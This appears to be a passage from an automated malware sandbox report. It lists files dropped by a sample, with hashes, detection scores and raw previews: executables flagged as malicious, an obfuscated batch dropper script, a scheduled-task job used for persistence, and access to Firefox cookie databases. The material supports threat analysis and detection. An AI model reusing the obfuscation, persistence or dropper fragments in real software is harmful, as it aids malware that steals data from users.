Preview:	.n...k=@4......~=VL.M...NN.LK..\'>.~....D.Q...H.E.+..2.......%..^/~D..y.P.8..c..^.yk..L1a..Q.`.....e.S.$B.z...-:..r0s.L...'....zR>..T(wp.w.....,.Q.u.{pce.p........VJ....j....!............(.w...RG....sd..Fu..i.g#.....f<...$....d....k..\y.M}K...o.p[.I.\Wn..4.'U....`...Y..9d..$.b..~i..f9.S.'....D9.Rk..)\..../.A\a.T2....d.]l.....`k\|?,7n.:.P.....9..o..).E3.....f2......bs.F..........ySz...x./.a..G%.S..I..~.U.4...P.X\|A....... Y7...,..YK..#.-D.[.f.+#....["i....}....>..1...%y..8.(P...2..p........J.(.,.w..Z.{\a..Q.i!.<,......zr..A.....!.B.S...O.G/.F{....A.q.aw..q.s....G..Y..z0.GK...G.N_?.V.lk..y...^..ii...A..+Z....g....m...U...q.%.,hr.Anr.@.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R}...5.I.'.F...h..............9...A(.9...A(kC.R......%x....}...q..U-...(....%....V..?p.hf.........

C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	943784
Entropy (8bit):	6.625461630496363
Encrypted:	false
SSDEEP:	24576:FJs7DlG83U/hcSO3UTyYPeuZtxY+8aiB8ea:FC7hGOSPT/PxebaiO
MD5:	78BA0653A340BAC5FF152B21A83626CC
SHA1:	B12DA9CB5D024555405040E65AD89D16AE749502
SHA-256:	05D8CF394190F3A707ABFB25FB44D7DA9D5F533D7D2063B23C00CC11253C8BE7
SHA-512:	EFB75E4C1E0057FFB47613FD5AAE8CE3912B1558A4B74DBF5284C942EAC78ECD9ACA98F7C1E0E96EC38E8177E58FFDF54F2EB0385E73EEF39E8A2CE611237317
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L...!..^.........."...............................@.......................................@...@.......@........................\|....P..h............J.......0..@v...........................C..........@............................................text...%........................... ..`.rdata..............................@..@.data...\|p.......H..................@....rsrc...h....P......................@..@.reloc..@v...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Accessing

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe
File Type:	data
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	7.9966152545992
Encrypted:	true
SSDEEP:	1536:is3Mcn/913iCaX2OVDti/6lSfPWBI9M+w:Y0/fKhVDti9PWq9M+w
MD5:	0487661A3BE3E516ECF90432E0F1A65B
SHA1:	548F56668CDFDE2D71E714CD4E12E3A1419DFC31
SHA-256:	1DBFC503087ED424D8BEFD455C6554BA03AA4C4C5E77F7B388DC412B6A99A70E
SHA-512:	7F9027E567876BAE2302652A2D63B457BC39F439EC6CD4D7D170423C5F27AA5B0479113B7D8C436CBC08AC76450B0E56C2D8DD42A219C7AD3DBBF693F935CF77
Malicious:	false
Preview:	.n...k=@4......~=VL.M...NN.LK..\'>.~....D.Q...H.E.+..2.......%..^/~D..y.P.8..c..^.yk..L1a..Q.`.....e.S.$B.z...-:..r0s.L...'....zR>..T(wp.w.....,.Q.u.{pce.p........VJ....j....!............(.w...RG....sd..Fu..i.g#.....f<...$....d....k..\y.M}K...o.p[.I.\Wn..4.'U....`...Y..9d..$.b..~i..f9.S.'....D9.Rk..)\..../.A\a.T2....d.]l.....`k\|?,7n.:.P.....9..o..).E3.....f2......bs.F..........ySz...x./.a..G%.S..I..~.U.4...P.X\|A....... Y7...,..YK..#.-D.[.f.+#....["i....}....>..1...%y..8.(P...2..p........J.(.,.w..Z.{\a..Q.i!.<,......zr..A.....!.B.S...O.G/.F{....A.q.aw..q.s....G..Y..z0.GK...G.N_?.V.lk..y...^..ii...A..+Z....g....m...U...q.%.,hr.Anr.@.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R}...5.I.'.F...h..............9...A(.9...A(kC.R......%x....}...q..U-...(....%....V..?p.hf.........

C:\Users\user\AppData\Local\Temp\Blade

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe
File Type:	data
Category:	dropped
Size (bytes):	941996
Entropy (8bit):	6.627556320345381
Encrypted:	false
SSDEEP:	24576:8Js7DlG83U/hcSO3UTyYPeuZtxY+8aiB8ea:8C7hGOSPT/PxebaiO
MD5:	C09756DEA58E68A563C05C98F2EE5822
SHA1:	90675AE3C1A7F575DEE20CEEE5CBF3D761AEE432
SHA-256:	0D43333D98724395292FF88D573AD31C6FF65A0EC117E3A605B1009478F91AC8
SHA-512:	C5B0BFF60C4B44F62E224A58DBD508EFB20F1324C85C62DE13134F909A1CFD63349402D7472940992B6447685FBB665FD28929DC6693A5F3F1222173A8C477C7
Malicious:	false
Preview:	.8D...@.$D.(D..D.2*D.U....SVW.}.....e....E..E..w..E..E.E.E............v..G..H.....E....v..G..H.....E....v..O..I.....E...v..O..I..w....E...v..O..I..d....E...v..O..I..Q....E..O..1......u..N..u..u..u..u..u..u..1.Y.......j.....u....'....F.....3._..^[....U..V.u.3.W.~....j....N.j.j.P..j.j.....Pj......u...........>3._.F.....^]...SV..3.Wj._.N...N(...^..^..~..^..^..^ .^$..\|.....f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\.F`.Fd..{..j....................F\|U............[...{........u......3........................l.....p.....t.....x.....\|...........................f.............................................................._......^[.U..SV..j.[.F.9F.u0...j.X;.sF3.F...W.......Q.u....~....Y.......~._S.....Y.M......V..N.....F.^[]......U..QQ.}..........<)M....tv.}.........0)M.VW.}.....0...E.3.@.E............}..t .M.....~L........E.j.P.FL......E....u..E ...u..~8...w....._^....3....FP..FT..U...u...(M..H...P.....j.j.j..u...x.I.]...U..Q.0)M.V.u.Wj.....8W.BP........%.....T)M.j.Z.U.;

C:\Users\user\AppData\Local\Temp\Entire

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.998016160669907
Encrypted:	true
SSDEEP:	1536:E6pJZb57/qNUcGRkABLGdAQ03UZF0NrTvLPts7tqkriQ0lxDt8XSw9ORJDTjngt4:VFCGRJLGdvAeF0NrTvLP8uQ0lxDt2SPv
MD5:	09D17FFB85794728C964C131C287C800
SHA1:	A1D7A2DEA5E0763DE64FB28892786617D6340A86
SHA-256:	F913264E2AA6BE78DAE1261782F192AE4EF565439C5AD68A51C0397B33EE1475
SHA-512:	D174DE399777B691443DE3ABFF35DDE5040D84EA06F252E86EC5B76BC2C02DC0C5C430F0ED9BAB83A69E128A7CEA989A1A24C6F579947E448DB1CC393838B1D6
Malicious:	false
Preview:	.-..:...T....Q/$....!.%...'...B6.V..3?l....z...T...U...B5.(..H..o......Q..".[=+..o....w..`...v9..n.5=n..b.o.>"Y.....:69.E.L...M..@qs....(.=#`...JX.....^...........c`$0VC..oe{h 4.....-= .!^.?c...d?j..;..h{..c.<6.n..3Zf..@.7mp.&.J.7.g.x.).{.l......8.......Z...C......:Hf).@UfM)..\6.}....#..4....sx-.E.sz...aO...w....n.Dy.....lO...R9.WB..J.....Go.7D!.......Lz....._..N.UsB`.{......"..k.....:.^>..szU..&]m...a...tV....&.(...nb.4..f??...r.u..?...$9..k.5U..]a.......4..,....../3..9#Z..m.....N.........8......]5t...x...~.......Z[a...{.9................(.....y.f..+..`.a.....M....Sh..:;.<..8.M.$#.f.I...E...E+....^5g.q.....J.Q..F8.....h.\.).j.%...l...$.....f.?.m.%%.%.D.....u.Y.."]g......7..Tb..h.u..K....6<...].eE..$c:.w..h<$..~XB....ZEW_I`~....`.P.1.eP.(.`m.d.2.8A..s.C. ._<..@.<.U.W.'...N...[OE...-.{rL..B..ur.[.@..]'.3.,..D..=,....Z\..D..........]OKq.cM...-.!.'....v..Qef.9....l.Q[...S..;>%}......!..l...z..%m.r+9........r.......<y.'.L&0...

C:\Users\user\AppData\Local\Temp\Et

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe
File Type:	data
Category:	dropped
Size (bytes):	32841
Entropy (8bit):	7.993421641465555
Encrypted:	true
SSDEEP:	384:Ee8QXodDxKozVKyLD/UUabk0eU5ApYeaDdMJXwvPutBgG1sLlt1ywJfdGysn3HAO:ETxhY940eU5ApjaWG4gVdZsnvC9VynAy
MD5:	0E9173E00715288B2D6B61407A5A9154
SHA1:	C7BA999483382F3C3ABA56A4799113E43C3428D5
SHA-256:	AA4685667DD6031DB9C85E93A83679051D02DA5A396A1AD2EF41C0BDF91BAF66
SHA-512:	BB13D5DE52EA0A0178F8474FCEB7E9FC2D633BACEACB4E057B976CAC9131152076544891D0959FA22FE293EEEE942AE0F6A2FDD3D3A4C050A39549BAA2CB5ECD
Malicious:	false
Preview:	r.Q.k.O....4.u.ov.!X?!.5v....(...E#..{.}...$......m.zg.VN(j+....8...%.U....i..6.9......L`/h.........p........g#~+....U#..X?=.Z5L..../w......[...<Q_.i.c..+..;K/NGo.8.1....1}..%+i...l...P...6.....-sk.R....^.V2@.....h......q[}%...F._D..Z.!........J.4<.a#....lAD-...z..."..._.u.E...SF.q:._.[j`Z.....{?._.k..[X.)7.n..+.......G(.u,..}:....O.D..p.2.~.f.y.M..w...C}.U.o.....v\|..l....gp0....1.l...^....u.<.r......R..&)..!.....c.,.jc...NL.G.=..s.@/.lA..T9.r.St.M.T.U..,...PR.%h.3.I....%6Q...m.1.Zw..i{.Y......g.q@..\..F...k...s.J....,L.Z..%......Xu.d.[M..2..e..hZ\.YLjo.1....@=hiTf.\|S.....d .0_..1.3s+X.3=.N.n<'..6.....N&/....`....Tv..;GT...d.......}\|.n.%K.lZ.}...;..R........6.j.w)..vkZN...G.FGr;.........,.E.G..C/#.....a...-.....ou4[...u....T8.x...\|c.2!D..TH....Z6h....+.DCaD.u...R..Mi.GA..2E..C.x..#Z{..[..v8x.w2..:..E.^...<...'..K.v{.h[b.!..<7}..O......x.Y.;t........eC.ji'.UN.\6.:.o.]...;e..R....}...6......e.u..8.t...}......3..&E.........K..a1s..Q..

C:\Users\user\AppData\Local\Temp\Frequently

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe
File Type:	ASCII text, with very long lines (413), with CRLF line terminators
Category:	dropped
Size (bytes):	8712
Entropy (8bit):	5.175693834770833
Encrypted:	false
SSDEEP:	192:2xrbrMOmYYlR0/fyZ0BHKgUQuIrCY+ztqPH3cfgu2zOr134n/OQuWmDPY3+ztqPz:ibWlWfeEH+QuIrCY+ztwXcfgu2S34n2+
MD5:	283C7E0A2D03FF8AFE11A62E1869F2E5
SHA1:	235DA34690349F1C33CBA69E77EAD2B19E08DBC9
SHA-256:	38582D3231748A788012E4C27A5AC0F54F9CB0467D60ECC247A31EA165EDEEF9
SHA-512:	B9BA42910D150CE9E07542A501C4134FB668F9B4AF70DB1ED8FA402066C8FB5025CF4BB29ABD91C877571361E71C582E1E7C5350B28C7BDA18D6BF184E85273E
Malicious:	false
Preview:	Set Hotels= ..kqRHLabeled-Invitation-Testimony-..IwhSEmerald-Weeks-Mentioned-Defense-Climate-Choose-..WZTransport-Hosting-Depth-Receivers-Accepting-..fPRoArising-Centuries-App-Brooks-Ladder-Fishing-Duties-Immigration-Brunette-..uUqCTrusted-Newspapers-Experiment-Capability-Screenshots-Efforts-Advisor-..LURegards-Temperature-Sheep-..Set Olympus=y..NQAlthough-Royal-Sol-Races-Calendar-Incorporate-..nkRzColour-Guest-Nl-Cruises-Jets-Increase-Macedonia-..UrfyFestivals-Deaths-Incest-Ref-..nWdProzac-Iraq-Kevin-Boxing-Ka-Reviewer-Select-Hook-..DzeuActivities-Simulations-Joining-..kwMJoke-Reach-Function-School-Costs-Discipline-Regularly-Rider-Fundamental-..xsJRecommends-Fuel-..OqnlReferences-Elliott-Creation-Warner-Hwy-Transferred-Wizard-..KftMRingtone-Rehab-Profiles-Materials-Magazine-Precious-Blind-Conferencing-Tractor-..PDTtProcurement-Ing-..Set Someone=W..hRhWins-Hardware-Stories-Dj-Applicant-..MPwAllow-Candidates-Tp-Performs-Occur-..VfiSPn-..fqsQDrag-Accessing-Enhanced-Mt-Governor-Db-Katrina

C:\Users\user\AppData\Local\Temp\Frequently.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (413), with CRLF line terminators
Category:	dropped
Size (bytes):	8712
Entropy (8bit):	5.175693834770833
Encrypted:	false
SSDEEP:	192:2xrbrMOmYYlR0/fyZ0BHKgUQuIrCY+ztqPH3cfgu2zOr134n/OQuWmDPY3+ztqPz:ibWlWfeEH+QuIrCY+ztwXcfgu2S34n2+
MD5:	283C7E0A2D03FF8AFE11A62E1869F2E5
SHA1:	235DA34690349F1C33CBA69E77EAD2B19E08DBC9
SHA-256:	38582D3231748A788012E4C27A5AC0F54F9CB0467D60ECC247A31EA165EDEEF9
SHA-512:	B9BA42910D150CE9E07542A501C4134FB668F9B4AF70DB1ED8FA402066C8FB5025CF4BB29ABD91C877571361E71C582E1E7C5350B28C7BDA18D6BF184E85273E
Malicious:	false
Preview:	Set Hotels= ..kqRHLabeled-Invitation-Testimony-..IwhSEmerald-Weeks-Mentioned-Defense-Climate-Choose-..WZTransport-Hosting-Depth-Receivers-Accepting-..fPRoArising-Centuries-App-Brooks-Ladder-Fishing-Duties-Immigration-Brunette-..uUqCTrusted-Newspapers-Experiment-Capability-Screenshots-Efforts-Advisor-..LURegards-Temperature-Sheep-..Set Olympus=y..NQAlthough-Royal-Sol-Races-Calendar-Incorporate-..nkRzColour-Guest-Nl-Cruises-Jets-Increase-Macedonia-..UrfyFestivals-Deaths-Incest-Ref-..nWdProzac-Iraq-Kevin-Boxing-Ka-Reviewer-Select-Hook-..DzeuActivities-Simulations-Joining-..kwMJoke-Reach-Function-School-Costs-Discipline-Regularly-Rider-Fundamental-..xsJRecommends-Fuel-..OqnlReferences-Elliott-Creation-Warner-Hwy-Transferred-Wizard-..KftMRingtone-Rehab-Profiles-Materials-Magazine-Precious-Blind-Conferencing-Tractor-..PDTtProcurement-Ing-..Set Someone=W..hRhWins-Hardware-Stories-Dj-Applicant-..MPwAllow-Candidates-Tp-Performs-Occur-..VfiSPn-..fqsQDrag-Accessing-Enhanced-Mt-Governor-Db-Katrina

C:\Users\user\AppData\Local\Temp\Peripherals

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe
File Type:	data
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	7.996531008001744
Encrypted:	true
SSDEEP:	1536:2vkgzz46H5flXQGUxyXEFCKr+Uh20T0tGU0RRntJwemI:+ZvBFlXgeja+q240tnydwC
MD5:	6337B4A0EF79ECFC7A0E70BEEA5D5B5B
SHA1:	904AAF86B183865A6337BE71971148E4EF55D548
SHA-256:	024AD40C289BFDBEA25AA7C319381595C700E6E9E92A951BC2E5DF8A21382630
SHA-512:	9B88533915190062002702B2B632E648A94F086B987040D3F22F1BC718A2E58FBCB6D85A9AD17C8EE34018364CD9486D52BEF91D645CFC3608AA3B592FCA6B48
Malicious:	false
Preview:	....m.......`=..lO..m0.a..-u~J.p..di..!a......7..J..Z..AV.zJ......M.A,}.1.=..G....T...(6i}....{..........R.Y3M....<.sZT$....-e......{E.~..g..I...<...V.Pf>...%...(.Y:`m.w[..H..g.uV..m<\....D}\|...X..Qj...(.:...'726.Fd...o."...=.;)Mq.G.....6._.'..f).`.'.3....#4...E..6.vG4.Tb..4.sp.4..Rc.e(SY....n...g.0.Dh\|+/O.._........e...K..M..\|..6.$.............S....0;......f...\|5.b..rX3...ho...."...e.......3.wN.wd...@.a{y..Q.%.......SN..<...C..W......\|...h.....:..Q........\|.....<n...[..n....;..Y....h.6.A.........9.....5.'..2).!.u..T....L....]....Yw....J....\*....$.E..s.p.#..L...[.)s..v.\|.$....].....V.u.._n.......}>.....n.V.k.N.b..J..k.`>...]...=.'Ed..=.....g......rq..G<W.p..O.N..e\|....]7...x.O.J....\|...gN^.!..M.A...,....n6...7....RI!.....jM...p.P..T..5.\|PQ.a.g)..-.N=;.V........>.J...qL.....=.....k.l;...{.E...se6f...a.m.V+<3...6.....J..pa.........T.G.;..J..Zw.x...WY.FN.=[......?Sz~.L..Y..$.,5..@..Y~.....u...o\.....u..........>..._......4-.......7.Iy

C:\Users\user\AppData\Local\Temp\Version

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe
File Type:	data
Category:	dropped
Size (bytes):	1818
Entropy (8bit):	4.882455171316959
Encrypted:	false
SSDEEP:	24:vhyGSpqcQw0FiOiYCL/YC1Rjcx2WWtUfqyRCa5dG0baanxCw1G7WrAu:vaQV9EwC1tx5tUw8GQ1iWcu
MD5:	51C0F6EFF2D7E54810B653329E530404
SHA1:	52AEF28DAB5BA3202341FE2A34F64744F268B991
SHA-256:	A8F5D7C5CAED37FA9F6DC432C1F854F32564D6CF0FEC70F4BEDE96BA4DF4DCDD
SHA-512:	AE804726DABE115186E5CCAF7827912B48517A8A4DEA8BAFA2D35286BC60CB1203CBE71B6936CC269BFA82C7037BACD79D9DBB586E49909FCB1D84E99E6F3FE7
Malicious:	false
Preview:	ConventionTroopsStudiedTooth..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L...!..^.........."...............................@.......................................@...@.......@........................\|....P..h............J.......0..@v...........................C..........@............................................text...%........................... ..`.rdata..............................@..@.data...\|p.......H..................@....rsrc...h....P......................@..@.reloc..@v...0...x..................@..B..................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsFHCAFIDBKE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1863680
Entropy (8bit):	7.949970010980385
Encrypted:	false
SSDEEP:	49152:2IQaFswVmOsXVQ8VUoKKa7T2oJnBFuC9:2pa6UmHXV1U/Ka32SL1
MD5:	EBE6DE9BE122D27057536193303F1F89
SHA1:	199B00D481006678F3A2DB4902910A883BE2F275
SHA-256:	BACE923F8BE90BF0F398E9310D52723265E250651CB36115BC233CA3300160A6
SHA-512:	C10AFDF10124390958160A5FC5B2AC7EEAA3ED4705A8B4BBA89AA1AC17128FA8979CF9081B1997A9D8A03ED6C2C756878DA9A8B96162C84B1F3B52EAB55EE5D8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. J...........@..........................PJ......x....@.................................W...k.......H.....................J.............................0.J..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...ihqucnpr.`....0..R..................@...loaatlni......J......J..............@....taggant.0... J.."...N..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsFHCAFIDBKE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1863680
Entropy (8bit):	7.949970010980385
Encrypted:	false
SSDEEP:	49152:2IQaFswVmOsXVQ8VUoKKa7T2oJnBFuC9:2pa6UmHXV1U/Ka32SL1
MD5:	EBE6DE9BE122D27057536193303F1F89
SHA1:	199B00D481006678F3A2DB4902910A883BE2F275
SHA-256:	BACE923F8BE90BF0F398E9310D52723265E250651CB36115BC233CA3300160A6
SHA-512:	C10AFDF10124390958160A5FC5B2AC7EEAA3ED4705A8B4BBA89AA1AC17128FA8979CF9081B1997A9D8A03ED6C2C756878DA9A8B96162C84B1F3B52EAB55EE5D8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. J...........@..........................PJ......x....@.................................W...k.......H.....................J.............................0.J..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...ihqucnpr.`....0..R..................@...loaatlni......J......J..............@....taggant.0... J.."...N..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsFHCAFIDBKE.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.373089766866434
Encrypted:	false
SSDEEP:	6:iZPXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBxl/put0:+f2RKQ1CGAFAjzvYRQVBj/Qt0
MD5:	7F46FB541FA40D1762CA33127FB3031B
SHA1:	2B3D197B50F78852C3F5416FB9A348ADCC36AE58
SHA-256:	BAD793B592DC75918D892ACD41A8DFE44220CD19F518A1A083D104471ADBB22F
SHA-512:	586BC306B2E3CB3569FEA30C5D5839576F68D2CE7BC04F5C3B2D62F996349873112AF087C3649022199180F7B834501F962ADED882877ED85A4C2C478DBAA496
Malicious:	false
Preview:	....t...uJkL.....=..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................;.@3P.........................

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.435382877198849
Encrypted:	false
SSDEEP:	3072:fbkXyPqO7UX1Hme9kZbs4Voc5kSnXqwQ2i6o:fsyWFHrp4Voc5kSnawQ8o
MD5:	70C3C56F88F77A44714BEED7D2A29FCB
SHA1:	CB65BDB70963AEA8B06770B03EDBBED6191E346D
SHA-256:	424AE7C01C347DD2A119F05D5163A996F9753B012B5E2E378B45FFA0F9EBA6DB
SHA-512:	440C81D88C5479DD47E92614C8BF29E7C6FC6A4C3842820FA20623B8C5AD06DBB9743D2154BEB48E10AEF5DB0E1C53C24520FD62F09B81962D9771201B5A8653
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	102474
Entropy (8bit):	5.4790067265444655
Encrypted:	false
SSDEEP:	1536:x5Wi1Q47yv1T9wv7568In7jlTThuIp7slMiGhEmkBeMNlpoEr3dqyfP9PgogNLf:D7yvvjOy7sipKTr3dH39oogNLf
MD5:	9FD16367D79DF40C9B62BACCCD389236
SHA1:	A218E4B6C6D541C738F312DCC4B2044A77115C0B
SHA-256:	FDBCA20E8C357770FD10B941CBBB4DC7778AD1E56156CFA626C281C5DCE15E1D
SHA-512:	1AED65477A73BD83776314D0C8E35A4C7CC69A40004DB8E957E62E593D68699110B451CA1E9BF7C6FFE2A77046CFC168E397296E8F2A2362A3BB6DA913CBBE21
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
